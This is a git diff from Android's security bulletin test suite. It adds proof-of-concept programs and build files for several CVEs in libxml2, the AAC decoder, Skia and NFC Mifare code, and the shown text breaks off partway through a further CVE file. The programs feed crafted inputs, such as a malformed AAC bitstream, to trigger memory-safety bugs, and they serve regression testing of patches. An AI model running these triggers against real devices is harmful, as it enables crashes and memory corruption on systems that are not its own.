diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
new file mode 100644
index 0000000..8554acf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/relaxng.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <libxml/xmlschemas.h>
+#include <libxml/xmlschemastypes.h>
+#include <string.h>
+
+static char *xmlPosixStrdup(const char *cur) {
+ return ((char *)xmlCharStrdup(cur));
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ xmlGetWarningsDefaultValue = 0;
+ xmlPedanticParserDefault(0);
+ xmlGcMemSetup(free, malloc, malloc, realloc, xmlPosixStrdup);
+ xmlInitParser();
+ xmlSchemaInitTypes();
+ xmlRelaxNGInitTypes();
+ xmlReadFile(argv[1], NULL, XML_PARSE_OLD10);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
new file mode 100644
index 0000000..d1a4d1d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9537",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
new file mode 100644
index 0000000..9da651c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -0,0 +1,205 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+#include <string.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint32_t kNumFillElements = 1200;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+constexpr unsigned char kAdtsHeader[] = {0xFF, 0xF1, 0x6C, 0x40,
+ 0x41, 0x00, 0x78};
+constexpr uint32_t kAdtsHeaderLength = sizeof(kAdtsHeader);
+
+constexpr unsigned char kFillElements[] = {0xC1, 0x83, 0x06, 0x0C,
+ 0x18, 0x30, 0x60};
+constexpr uint32_t kFillElementsLength = sizeof(kFillElements);
+
+constexpr unsigned char kAacStream[] = {
+ 0x00, 0xC8, 0x13, 0x83, 0xE8, 0x1B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0x2B, 0xFF, 0xC4, 0x29,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x1B, 0xFF, 0xC4, 0x29,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+ 0x69, 0x69, 0x69, 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+ 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0xE0};
+constexpr uint32_t kAacStreamLength = sizeof(kAacStream);
+
+class Codec {
+public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+
+private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADTS, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+ mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ if (mErrorCode != AAC_DEC_OK) {
+ ++data;
+ --size;
+ } else {
+ INT_PCM outputBuf[kMaxOutBufferSize];
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, sizeof(outputBuf),
+ 0);
+ if (valid >= inputSize) {
+ return;
+ }
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+ }
+}
+
+int main() {
+ Codec *codec = new Codec();
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ if (codec->initDecoder()) {
+
+ /* Allocate memory for bitstream buffer */
+ UINT rawDataSize = kAdtsHeaderLength + kAacStreamLength +
+ (kNumFillElements * kFillElementsLength);
+
+ UCHAR *rawData = (UCHAR *)malloc(rawDataSize);
+ if (!rawData) {
+ return EXIT_FAILURE;
+ }
+
+ /* Copy header, aac stream to bitstream buffer */
+ UCHAR *writePtr = rawData;
+ memcpy(writePtr, kAdtsHeader, kAdtsHeaderLength);
+ writePtr += kAdtsHeaderLength;
+
+ for (uint32_t i = 0; i < kNumFillElements; ++i) {
+ memcpy(writePtr, kFillElements, kFillElementsLength);
+ writePtr += kFillElementsLength;
+ }
+
+ memcpy(writePtr, kAacStream, kAacStreamLength);
+
+ /* Decode bitstream */
+ codec->decodeFrames(rawData, rawDataSize);
+ free(rawData);
+ }
+
+ delete codec;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
new file mode 100644
index 0000000..34d78b0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-1988",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "skia_deps",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/skia/include/codec",
+ "external/skia/include/core",
+ "frameworks/native/libs/nativewindow/include",
+ "frameworks/native/libs/arect/include",
+ ],
+ shared_libs: [
+ "libhwui",
+ ],
+ static_libs: [
+ "libskia",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
new file mode 100644
index 0000000..9ba3c42
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SkAndroidCodec.h"
+#include "SkBitmap.h"
+#include "SkCanvas.h"
+#include "SkData.h"
+#include "SkSurface.h"
+
+#include "../includes/memutils.h"
+#include <fstream>
+#include <iostream>
+
+#define SAMPLE_SIZE 6
+char enable_selective_overload = ENABLE_NONE;
+
+int decode(sk_sp<SkData> bytes, uint8_t sampleSize) {
+ auto codec = SkAndroidCodec::MakeFromData(bytes);
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ auto size = codec->getSampledDimensions(sampleSize);
+ auto info = SkImageInfo::MakeN32Premul(size);
+ SkBitmap bm;
+ if (!bm.tryAllocPixels(info)) {
+ return EXIT_FAILURE;
+ }
+
+ SkAndroidCodec::AndroidOptions options;
+ options.fSampleSize = sampleSize;
+
+ codec->getAndroidPixels(bm.info(), bm.getPixels(), bm.rowBytes(), &options);
+ return EXIT_SUCCESS;
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream inFile(argv[1]);
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.end);
+ size_t size = inFile.tellg();
+ if (size < 1) {
+ inFile.close();
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.beg);
+ uint8_t *data = (uint8_t *)malloc(size);
+ if (!data) {
+ return EXIT_FAILURE;
+ }
+ inFile.read(reinterpret_cast<char *>(data), size);
+ auto bytes = SkData::MakeWithoutCopy(data, size);
+ bytes = SkData::MakeSubset(bytes.get(), 1, size - 1);
+ enable_selective_overload = ENABLE_ALL;
+ int ret = decode(bytes, SAMPLE_SIZE);
+ enable_selective_overload = ENABLE_NONE;
+ inFile.close();
+ free(data);
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
new file mode 100644
index 0000000..a7eef92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2133",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
new file mode 100644
index 0000000..3cce7af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 0;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
new file mode 100644
index 0000000..3bbda28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2134",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
new file mode 100644
index 0000000..1514e2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 1;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
new file mode 100644
index 0000000..9876bd7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2228",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+ shared_libs: [
+ "libcups",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
new file mode 100644
index 0000000..63600cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
